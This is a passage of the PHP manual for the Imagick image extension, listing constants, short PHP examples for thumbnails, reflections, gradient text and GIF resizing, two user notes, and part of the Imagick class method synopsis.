This constant is available if Imagick has been compiled against ImageMagick version 6.3.4 or higher.
imagick::INTERLACE_JPEG (integer)
imagick::INTERLACE_PNG (integer)
FILLRULE constants

imagick::FILLRULE_UNDEFINED (integer)
imagick::FILLRULE_EVENODD (integer)
imagick::FILLRULE_NONZERO (integer)
PATHUNITS constants

imagick::PATHUNITS_UNDEFINED (integer)
imagick::PATHUNITS_USERSPACE (integer)
imagick::PATHUNITS_USERSPACEONUSE (integer)
imagick::PATHUNITS_OBJECTBOUNDINGBOX (integer)
LINECAP constants

imagick::LINECAP_UNDEFINED (integer)
imagick::LINECAP_BUTT (integer)
imagick::LINECAP_ROUND (integer)
imagick::LINECAP_SQUARE (integer)
LINEJOIN constants

imagick::LINEJOIN_UNDEFINED (integer)
imagick::LINEJOIN_MITER (integer)
imagick::LINEJOIN_ROUND (integer)
imagick::LINEJOIN_BEVEL (integer)
RESOURCETYPE constants

imagick::RESOURCETYPE_UNDEFINED (integer)
imagick::RESOURCETYPE_AREA (integer)
Set the maximum width * height of an image that can reside in the pixel cache memory.
imagick::RESOURCETYPE_DISK (integer)
Set maximum amount of disk space in bytes permitted for use by the pixel cache.
imagick::RESOURCETYPE_FILE (integer)
Set maximum number of open pixel cache files.
imagick::RESOURCETYPE_MAP (integer)
Set maximum amount of memory map in bytes to allocate for the pixel cache.
imagick::RESOURCETYPE_MEMORY (integer)
Set maximum amount of memory in bytes to allocate for the pixel cache from the heap.
imagick::RESOURCETYPE_THREAD (integer)
Set maximum parallel threads. This constant is available if Imagick has been compiled against ImageMagick version 6.7.8 or higher.
LAYERMETHOD constants

imagick::LAYERMETHOD_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COALESCE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COMPAREANY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COMPARECLEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COMPAREOVERLAY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_DISPOSE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZEPLUS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZEIMAGE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_OPTIMIZETRANS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_REMOVEDUPS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_REMOVEZERO (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_COMPOSITE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_MERGE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.7 or higher.
imagick::LAYERMETHOD_FLATTEN (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.7 or higher.
imagick::LAYERMETHOD_MOSAIC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.7 or higher.
ORIENTATION constants

imagick::ORIENTATION_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_TOPLEFT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_TOPRIGHT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_BOTTOMRIGHT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_BOTTOMLEFT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_LEFTTOP (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_RIGHTTOP (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_RIGHTBOTTOM (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_LEFTBOTTOM (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
DISTORTION constants

imagick::DISTORTION_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_AFFINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_AFFINEPROJECTION (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_ARC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_BILINEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_PERSPECTIVE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_PERSPECTIVEPROJECTION (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_SCALEROTATETRANSLATE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_POLYNOMIAL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_POLAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_DEPOLAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_BARREL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_BARRELINVERSE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_SHEPARDS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_SENTINEL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
ALPHACHANNEL constants

imagick::ALPHACHANNEL_ACTIVATE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_DEACTIVATE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_RESET (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_SET (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_COPY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_EXTRACT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_OPAQUE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_SHAPE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_TRANSPARENT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
SPARSECOLORMETHOD constants

imagick::SPARSECOLORMETHOD_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_BARYCENTRIC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_BILINEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_POLYNOMIAL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_SPEPARDS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_VORONOI (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
FUNCTION constants

imagick::FUNCTION_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.9 or higher.
imagick::FUNCTION_POLYNOMIAL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.9 or higher.
imagick::FUNCTION_SINUSOID (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.9 or higher.
INTERPOLATE constants

imagick::INTERPOLATE_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_AVERAGE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_BICUBIC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_BILINEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_FILTER (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_INTEGER (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_MESH (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_NEARESTNEIGHBOR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_SPLINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.4 or higher.
DITHERMETHOD constants

imagick::DITHERMETHOD_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DITHERMETHOD_NO (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DITHERMETHOD_RIEMERSMA (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DITHERMETHOD_FLOYDSTEINBERG (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Imagick makes image manipulation in PHP extremely easy through an OO interface. Here is a quick example on how to make a thumbnail:

Example #1 Creating a thumbnail in Imagick

<?php

header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');

// If 0 is provided as a width or height parameter,
// aspect ratio is maintained
$image->thumbnailImage(100, 0);

echo $image;

?>

Using SPL and other OO features supported in Imagick, it can be simple to resize all files in a directory (useful for batch resizing large digital camera images to be web viewable). Here we use resize, as we might want to retain certain meta-data:

Example #2 Make a thumbnail of all JPG files in a directory

<?php

$images = new Imagick(glob('images/*.JPG'));

foreach($images as $image) {

    // Providing 0 forces thumbnailImage to maintain aspect ratio
    $image->thumbnailImage(1024,0);

}

$images->writeImages();

?>

This is an example of creating a reflection of an image. The reflection is created by flipping the image and overlaying a gradient on it. Then both, the original image and the reflection is overlayed on a canvas.

Example #3 Creating a reflection of an image

<?php
/* Read the image */
$im = new Imagick("test.png");

/* Thumbnail the image */
$im->thumbnailImage(200, null);

/* Create a border for the image */
$im->borderImage(new ImagickPixel("white"), 5, 5);

/* Clone the image and flip it */
$reflection = $im->clone();
$reflection->flipImage();

/* Create gradient. It will be overlayed on the reflection */
$gradient = new Imagick();

/* Gradient needs to be large enough for the image and the borders */
$gradient->newPseudoImage($reflection->getImageWidth() + 10, $reflection->getImageHeight() + 10, "gradient:transparent-black");

/* Composite the gradient on the reflection */
$reflection->compositeImage($gradient, imagick::COMPOSITE_OVER, 0, 0);

/* Add some opacity. Requires ImageMagick 6.2.9 or later */
$reflection->setImageOpacity( 0.3 );

/* Create an empty canvas */
$canvas = new Imagick();

/* Canvas needs to be large enough to hold the both images */
$width = $im->getImageWidth() + 40;
$height = ($im->getImageHeight() * 2) + 30;
$canvas->newImage($width, $height, new ImagickPixel("black"));
$canvas->setImageFormat("png");

/* Composite the original image and the reflection on the canvas */
$canvas->compositeImage($im, imagick::COMPOSITE_OVER, 20, 10);
$canvas->compositeImage($reflection, imagick::COMPOSITE_OVER, 20, $im->getImageHeight() + 10);

/* Output the image*/
header("Content-Type: image/png");
echo $canvas;
?>

The above example will output something similar to:

Output of example : Creating a reflection of an image

This example illustrates how to use fill patterns during drawing.

Example #4 Filling text with gradient

<?php

/* Create a new imagick object */
$im = new Imagick();

/* Create new image. This will be used as fill pattern */
$im->newPseudoImage(50, 50, "gradient:red-black");

/* Create imagickdraw object */
$draw = new ImagickDraw();

/* Start a new pattern called "gradient" */
$draw->pushPattern('gradient', 0, 0, 50, 50);

/* Composite the gradient on the pattern */
$draw->composite(Imagick::COMPOSITE_OVER, 0, 0, 50, 50, $im);

/* Close the pattern */
$draw->popPattern();

/* Use the pattern called "gradient" as the fill */
$draw->setFillPatternURL('#gradient');

/* Set font size to 52 */
$draw->setFontSize(52);

/* Annotate some text */
$draw->annotation(20, 50, "Hello World!");

/* Create a new canvas object and a white image */
$canvas = new Imagick();
$canvas->newImage(350, 70, "white");

/* Draw the ImagickDraw on to the canvas */
$canvas->drawImage($draw);

/* 1px black border around the image */
$canvas->borderImage('black', 1, 1);

/* Set the format to PNG */
$canvas->setImageFormat('png');

/* Output the image */
header("Content-Type: image/png");
echo $canvas;
?>

The above example will output something similar to:

Output of example : Filling text with gradient

Working with animated GIF images

Example #5 Read in GIF image and resize all frames

<?php

/* Create a new imagick object and read in GIF */
$im = new Imagick("example.gif");

/* Resize all frames */
foreach ($im as $frame) {
    /* 50x50 frames */
    $frame->thumbnailImage(50, 50);

    /* Set the virtual canvas to correct size */
    $frame->setImagePage(50, 50, 0, 0);
}

/* Notice writeImages instead of writeImage */
$im->writeImages("example_small.gif", true);
?>

Working with ellipse primitive and custom fonts

Example #6 Create a PHP logo

<?php
/* Set width and height in proportion of genuine PHP logo */
$width = 400;
$height = 210;

/* Create an Imagick object with transparent canvas */
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));

/* New ImagickDraw instance for ellipse draw */
$draw = new ImagickDraw();
/* Set purple fill color for ellipse */
$draw->setFillColor('#777bb4');
/* Set ellipse dimensions */
$draw->ellipse($width / 2, $height / 2, $width / 2, $height / 2, 0, 360);
/* Draw ellipse onto the canvas */
$img->drawImage($draw);

/* Reset fill color from purple to black for text (note: we are reusing ImagickDraw object) */
$draw->setFillColor('black');
/* Set stroke border to white color */
$draw->setStrokeColor('white');
/* Set stroke border thickness */
$draw->setStrokeWidth(2);
/* Set font kerning (negative value means that letters are closer to each other) */
$draw->setTextKerning(-8);
/* Set font and font size used in PHP logo */
$draw->setFont('Handel Gothic.ttf');
$draw->setFontSize(150);
/* Center text horizontally and vertically */
$draw->setGravity(Imagick::GRAVITY_CENTER);

/* Add center "php" with Y offset of -10 to canvas (inside ellipse) */
$img->annotateImage($draw, 0, -10, 0, 'php');
$img->setImageFormat('png');

/* Set appropriate header for PNG and output the image */
header('Content-Type: image/png');
echo $img;
?>

The above example will output something similar to:

Output of example : Creating PHP logo with Imagick

User Contributed Notes

vokseli 06-Aug-2014 04:24
Be careful when loading multiple images by passing an array to a new Imagick object. This is from Example #2:

<?php

$images = new Imagick(glob('images/*.JPG'));

?>

If you have lots of images inside the images folder, PHP will consume a lot of memory, ergo it is not recommended. I personally think it's a better idea to loop each image separately:

<?php

$image_files = glob('images/*.JPG');

foreach ($image_files as $image_file) {
    $image = new Imagick($image_file);
    // Do something for the image and so on...
}

?>

This way only a single image is fitted into the memory at a time.
inoshadi at gmail dot com 12-Dec-2013 04:53
on Example #3 Creating a reflection of an image
----------------------------------------------------
/* Clone the image and flip it */
$reflection = $im->clone();
$reflection->flipImage();
----------------------------------------------------
it was using the Imagick::clone function

This function has been DEPRECATED as of imagick 3.1.0 in favour of using the clone keyword.

use below code instead:
----------------------------------------------------
/* Clone the image and flip it */
$reflection = clone $im;
$reflection->flipImage();
----------------------------------------------------

http://php.net/manual/en/imagick.clone.php


The Imagick class

(PECL imagick 2.0.0)

Class synopsis

Imagick implements Iterator {
bool adaptiveBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool adaptiveResizeImage ( int $columns , int $rows [, bool $bestfit = false ] )
bool adaptiveSharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool adaptiveThresholdImage ( int $width , int $height , int $offset )
bool addImage ( Imagick $source )
bool addNoiseImage ( int $noise_type [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool affineTransformImage ( ImagickDraw $matrix )
bool animateImages ( string $x_server )
bool annotateImage ( ImagickDraw $draw_settings , float $x , float $y , float $angle , string $text )
Imagick appendImages ( bool $stack = false )
Imagick averageImages ( void )
bool blackThresholdImage ( mixed $threshold )
bool blurImage ( float $radius , float $sigma [, int $channel ] )
bool borderImage ( mixed $bordercolor , int $width , int $height )
bool charcoalImage ( float $radius , float $sigma )
bool chopImage ( int $width , int $height , int $x , int $y )
bool clear ( void )
bool clipImage ( void )
bool clipPathImage ( string $pathname , bool $inside )
Imagick clone ( void )
bool clutImage ( Imagick $lookup_table [, float $channel = Imagick::CHANNEL_DEFAULT ] )
Imagick coalesceImages ( void )
bool colorFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y )
bool colorizeImage ( mixed $colorize , mixed $opacity )
Imagick combineImages ( int $channelType )
bool commentImage ( string $comment )
array compareImageChannels ( Imagick $image , int $channelType , int $metricType )
Imagick compareImageLayers ( int $method )
array compareImages ( Imagick $compare , int $metric )
bool compositeImage ( Imagick $composite_object , int $composite , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )
__construct ( mixed $files )
bool contrastImage ( bool $sharpen )
bool contrastStretchImage ( float $black_point , float $white_point [, int $channel = Imagick::CHANNEL_ALL ] )
bool convolveImage ( array $kernel [, int $channel = Imagick::CHANNEL_ALL ] )
bool cropImage ( int $width , int $height , int $x , int $y )
bool cropThumbnailImage ( int $width , int $height )
Imagick current ( void )
bool cycleColormapImage ( int $displace )
bool decipherImage ( string $passphrase )
Imagick deconstructImages ( void )
bool deleteImageArtifact ( string $artifact )
public bool deskewImage ( float $threshold )
bool despeckleImage ( void )
bool destroy ( void )
bool displayImage ( string $servername )
bool displayImages ( string $servername )
bool distortImage ( int $method , array $arguments , bool $bestfit )
bool drawImage ( ImagickDraw $draw )
bool edgeImage ( float $radius )
bool embossImage ( float $radius , float $sigma )
bool encipherImage ( string $passphrase )
bool enhanceImage ( void )
bool equalizeImage ( void )
bool evaluateImage ( int $op , float $constant [, int $channel = Imagick::CHANNEL_ALL ] )
public array exportImagePixels ( int $x , int $y , int $width , int $height , string $map , int $STORAGE )
bool extentImage ( int $width , int $height , int $x , int $y )
Imagick flattenImages ( void )
bool flipImage ( void )
bool floodFillPaintImage ( mixed $fill , float $fuzz , mixed $target , int $x , int $y , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool flopImage ( void )
bool frameImage ( mixed $matte_color , int $width , int $height , int $inner_bevel , int $outer_bevel )
public bool functionImage ( int $function , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )
Imagick fxImage ( string $expression [, int $channel = Imagick::CHANNEL_ALL ] )
bool gammaImage ( float $gamma [, int $channel = Imagick::CHANNEL_ALL ] )
bool gaussianBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )
int getColorspace ( void )
int getCompression ( void )
int getCompressionQuality ( void )
string getCopyright ( void )
string getFilename ( void )
string getFont ( void )
string getFormat ( void )
int getGravity ( void )
string getHomeURL ( void )
Imagick getImage ( void )
int getImageAlphaChannel ( void )
string getImageArtifact ( string $artifact )
ImagickPixel getImageBackgroundColor ( void )
string getImageBlob ( void )
array getImageBluePrimary ( void )
ImagickPixel getImageBorderColor ( void )
int getImageChannelDepth ( int $channel )
float getImageChannelDistortion ( Imagick $reference , int $channel , int $metric )
float getImageChannelDistortions ( Imagick $reference , int $metric [, int $channel = Imagick::CHANNEL_DEFAULT ] )
array getImageChannelExtrema ( int $channel )
public array getImageChannelKurtosis ([ int $channel = Imagick::CHANNEL_DEFAULT ] )
array getImageChannelMean ( int $channel )
array getImageChannelRange ( int $channel )
array getImageChannelStatistics ( void )
Imagick getImageClipMask ( void )
ImagickPixel getImageColormapColor ( int $index )
int getImageColors ( void )
int getImageColorspace ( void )
int getImageCompose ( void )
int getImageCompression ( void )
int getImageCompressionQuality ( void )
int getImageDelay ( void )
int getImageDepth ( void )
int getImageDispose ( void )
float getImageDistortion ( MagickWand $reference , int $metric )
array getImageExtrema ( void )
string getImageFilename ( void )
string getImageFormat ( void )
float getImageGamma ( void )
array getImageGeometry ( void )
int getImageGravity ( void )
array getImageGreenPrimary ( void )
int getImageHeight ( void )
array getImageHistogram ( void )
int getImageIndex ( void )
int getImageInterlaceScheme ( void )
int getImageInterpolateMethod ( void )
int getImageIterations ( void )
int getImageLength ( void )
string getImageMagickLicense ( void )
bool getImageMatte ( void )
ImagickPixel getImageMatteColor ( void )
int getImageOrientation ( void )
array getImagePage ( void )
ImagickPixel getImagePixelColor ( int $x , int $y )
string getImageProfile ( string $name )
array getImageProfiles ([ string $pattern = "*" [, bool $only_names = true ]] )
array getImageProperties ([ string $pattern = "*" [, bool $only_names = true ]] )
string getImageProperty ( string $name )
array getImageRedPrimary ( void )
Imagick getImageRegion ( int $width , int $height , int $x , int $y )
int getImageRenderingIntent ( void )
array getImageResolution ( void )
string getImagesBlob ( void )
int getImageScene ( void )
string getImageSignature ( void )
int getImageSize ( void )
int getImageTicksPerSecond ( void )
float getImageTotalInkDensity ( void )
int getImageType ( void )
int getImageUnits ( void )
int getImageVirtualPixelMethod ( void )
array getImageWhitePoint ( void )
int getImageWidth ( void )
int getInterlaceScheme ( void )
int getIteratorIndex ( void )
int getNumberImages ( void )
string getOption ( string $key )
string getPackageName ( void )
array getPage ( void )
ImagickPixelIterator getPixelIterator ( void )
ImagickPixelIterator getPixelRegionIterator ( int $x , int $y , int $columns , int $rows )
float getPointSize ( void )
array getQuantumDepth ( void )
array getQuantumRange ( void )
string getReleaseDate ( void )
int getResource ( int $type )
int getResourceLimit ( int $type )
array getSamplingFactors ( void )
array getSize ( void )
int getSizeOffset ( void )
array getVersion ( void )
public bool haldClutImage ( Imagick $clut [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool hasNextImage ( void )
bool hasPreviousImage ( void )
array identifyImage ([ bool $appendRawOutput = false ] )
bool implodeImage ( float $radius )
public bool importImagePixels ( int $x , int $y , int $width , int $height , string $map , int $storage , array $pixels )
bool labelImage ( string $label )
bool levelImage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Imagick::CHANNEL_ALL ] )
bool linearStretchImage ( float $blackPoint , float $whitePoint )
bool liquidRescaleImage ( int $width , int $height , float $delta_x , float $rigidity )
bool magnifyImage ( void )
bool mapImage ( Imagick $map , bool $dither )
bool matteFloodfillImage ( float $alpha , float $fuzz , mixed $bordercolor , int $x , int $y )
bool medianFilterImage ( float $radius )
bool mergeImageLayers ( int $layer_method )
bool minifyImage ( void )
bool modulateImage ( float $brightness , float $saturation , float $hue )
Imagick montageImage ( ImagickDraw $draw , string $tile_geometry , string $thumbnail_geometry , int $mode , string $frame )
Imagick morphImages ( int $number_frames )
Imagick mosaicImages ( void )
bool motionBlurImage ( float $radius , float $sigma , float $angle [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool negateImage ( bool $gray [, int $channel = Imagick::CHANNEL_ALL ] )
bool newImage ( int $cols , int $rows , mixed $background [, string $format ] )
bool newPseudoImage ( int $columns , int $rows , string $pseudoString )
bool nextImage ( void )
bool normalizeImage ([ int $channel = Imagick::CHANNEL_ALL ] )
bool oilPaintImage ( float $radius )
bool opaquePaintImage ( mixed $target , mixed $fill , float $fuzz , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool optimizeImageLayers ( void )
bool orderedPosterizeImage ( string $threshold_map [, int $channel = Imagick::CHANNEL_ALL ] )
bool paintFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )
bool paintOpaqueImage ( mixed $target , mixed $fill , float $fuzz [, int $channel = Imagick::CHANNEL_ALL ] )
bool paintTransparentImage ( mixed $target , float $alpha , float $fuzz )
bool pingImage ( string $filename )
bool pingImageBlob ( string $image )
bool pingImageFile ( resource $filehandle [, string $fileName ] )
bool polaroidImage ( ImagickDraw $properties , float $angle )
bool posterizeImage ( int $levels , bool $dither )
bool previewImages ( int $preview )
bool previousImage ( void )
bool profileImage ( string $name , string $profile )
bool quantizeImage ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )
bool quantizeImages ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )
array queryFontMetrics ( ImagickDraw $properties , string $text [, bool $multiline ] )
array queryFonts ([ string $pattern = "*" ] )
array queryFormats ([ string $pattern = "*" ] )
bool radialBlurImage ( float $angle [, int $channel = Imagick::CHANNEL_ALL ] )
bool raiseImage ( int $width , int $height , int $x , int $y , bool $raise )
bool randomThresholdImage ( float $low , float $high [, int $channel = Imagick::CHANNEL_ALL ] )
bool readImage ( string $filename )
bool readImageBlob ( string $image [, string $filename ] )
bool readImageFile ( resource $filehandle [, string $fileName = null ] )
bool recolorImage ( array $matrix )
bool reduceNoiseImage ( float $radius )
public bool remapImage ( Imagick $replacement , int $DITHER )
bool removeImage ( void )
string removeImageProfile ( string $name )
bool render ( void )
bool resampleImage ( float $x_resolution , float $y_resolution , int $filter , float $blur )
bool resetImagePage ( string $page )
bool resizeImage ( int $columns , int $rows , int $filter , float $blur [, bool $bestfit = false ] )
bool rollImage ( int $x , int $y )
bool rotateImage ( mixed $background , float $degrees )
bool roundCorners ( float $x_rounding , float $y_rounding [, float $stroke_width = 10 [, float $displace = 5 [, float $size_correction = -6 ]]] )
bool sampleImage ( int $columns , int $rows )
bool scaleImage ( int $cols , int $rows [, bool $bestfit = false ] )
public bool segmentImage ( int $COLORSPACE , float $cluster_threshold , float $smooth_threshold [, bool $verbose = false ] )
bool separateImageChannel ( int $channel )
bool sepiaToneImage ( float $threshold )
bool setBackgroundColor ( mixed $background )
bool setColorspace ( int $COLORSPACE )
bool setCompression ( int $compression )
bool setCompressionQuality ( int $quality )
bool setFilename ( string $filename )
bool setFirstIterator ( void )
bool setFont ( string $font )
bool setFormat ( string $format )
bool setGravity ( int $gravity )
bool setImage ( Imagick $replace )
bool setImageAlphaChannel ( int $mode )
bool setImageArtifact ( string $artifact , string $value )
bool setImageBackgroundColor ( mixed $background )
bool setImageBias ( float $bias )
bool setImageBluePrimary ( float $x , float $y )
bool setImageBorderColor ( mixed $border )
bool setImageChannelDepth ( int $channel , int $depth )
bool setImageClipMask ( Imagick $clip_mask )
bool setImageColormapColor ( int $index , ImagickPixel $color )
bool setImageColorspace ( int $colorspace )
bool setImageCompose ( int $compose )
bool setImageCompression ( int $compression )
bool setImageCompressionQuality ( int $quality )
bool setImageDelay ( int $delay )
bool setImageDepth ( int $depth )
bool setImageDispose ( int $dispose )
bool setImageExtent ( int $columns , int $rows )
bool setImageFilename ( string $filename )
bool setImageFormat ( string $format )
bool setImageGamma ( float $gamma )
bool setImageGravity ( int $gravity )
bool setImageGreenPrimary ( float $x , float $y )
bool setImageIndex ( int $index )
bool setImageInterlaceScheme ( int $interlace_scheme )
bool setImageInterpolateMethod ( int $method )
bool setImageIterations ( int $iterations )
bool setImageMatte ( bool $matte )
bool setImageMatteColor ( mixed $matte )
bool setImageOpacity ( float $opacity )
bool setImageOrientation ( int $orientation )
bool setImagePage ( int $width , int $height , int $x , int $y )
bool setImageProfile ( string $name , string $profile )
bool setImageProperty ( string $name , string $value )
bool setImageRedPrimary ( float $x , float $y )
bool setImageRenderingIntent ( int $rendering_intent )
bool setImageResolution ( float $x_resolution , float $y_resolution )
bool setImageScene ( int $scene )
bool setImageTicksPerSecond ( int $ticks_per_second )
bool setImageType ( int $image_type )
bool setImageUnits ( int $units )
bool setImageVirtualPixelMethod ( int $method )
bool setImageWhitePoint ( float $x , float $y )
bool setInterlaceScheme ( int $interlace_scheme )
bool setIteratorIndex ( int $index )
bool setLastIterator ( void )
bool setOption ( string $key , string $value )
bool setPage ( int $width , int $height , int $x , int $y )
bool setPointSize ( float $point_size )
bool setResolution ( float $x_resolution , float $y_resolution )
bool setResourceLimit ( int $type , int $limit )
bool setSamplingFactors ( array $factors )
bool setSize ( int $columns , int $rows )
bool setSizeOffset ( int $columns , int $rows , int $offset )
bool setType ( int $image_type )
bool shadeImage ( bool $gray , float $azimuth , float $elevation )
bool shadowImage ( float $opacity , float $sigma , int $x , int $y )
bool sharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )
bool shaveImage ( int $columns , int $rows )
bool shearImage ( mixed $background , float $x_shear , float $y_shear )
bool sigmoidalContrastImage ( bool $sharpen , float $alpha , float $beta [, int $channel = Imagick::CHANNEL_ALL ] )
bool sketchImage ( float $radius , float $sigma , float $angle )
bool solarizeImage ( int $threshold )
public bool sparseColorImage ( int $SPARSE_METHOD , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )
bool spliceImage ( int $width , int $height , int $x , int $y )
bool spreadImage ( float $radius )
Imagick steganoImage ( Imagick $watermark_wand , int $offset )
